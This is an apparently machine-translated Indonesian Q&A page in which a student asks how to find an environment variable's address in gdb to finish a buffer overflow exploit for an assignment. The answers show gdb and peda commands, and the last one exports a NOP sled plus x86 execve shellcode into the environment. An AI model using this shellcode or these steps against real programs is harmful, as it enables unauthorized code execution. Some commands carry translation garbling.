it-swarm-id.com

Menemukan variabel lingkungan dengan gdb, untuk mengeksploitasi buffer overflow

Saya harus mengeksploitasi buffer overflow yang sangat sederhana dalam program C++ yang rentan untuk penugasan dan saya tidak dapat menemukan variabel lingkungan Shell.

Saya belum pernah bekerja dengan BoF sebelumnya, dan setelah membaca banyak pertanyaan serupa, posting, dll. Saya punya informasi ini (koreksi saya jika salah):

  • Program ini menyimpan variabel lingkungan dalam variabel global yang disebut environ
  • Saya dapat menemukan alamat variabel ini seperti ini:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Saya perlu menemukan /bin/bash string dalam variabel itu untuk meluncurkan Shell (Saya sudah mendapatkan sistem dan keluar dari alamat, saya hanya perlu rute ke Shell). Dan di sinilah saya tidak tahu harus berbuat apa. Saya telah membaca tutorial gdb, tapi tetap saja tidak ada. x/s 0xb7fd1b00 tidak menghasilkan sesuatu yang berguna.

12
Palantir

environ adalah pointer ke pointer, karena memiliki tipe char **environ.

Anda harus mencoba sesuatu seperti:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Variabel lingkungan adalah 16 byte dari basis pointer (% ebp).
  • Letakkan break point di fungsi utama dan lakukan ini,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/pemula/xdg:/etc/xdg"

Rujuk blog ini

4
h1dd3ntru7h

jika Anda telah peda diinstal untuk gdb, maka Anda cukup mengetik ini di gdb:

gdb-peda$ searchmem Shell

Output akan ditampilkan

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Anda juga dapat menggunakan "refsearch variable_name" jika Anda telah menginstal peda untuk gdb.

contoh:

Pertama-tama Anda harus menambahkan variabel (seperti Shellcode) ke lingkungan.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Kemudian buka gdb dengan program sampel, break main dan jalankan.

Ketika program berhenti pada breakpoint, Anda dapat mencari alamat lingkungan dengan mengikuti perintah.

refsearch Shellcode

0
user147694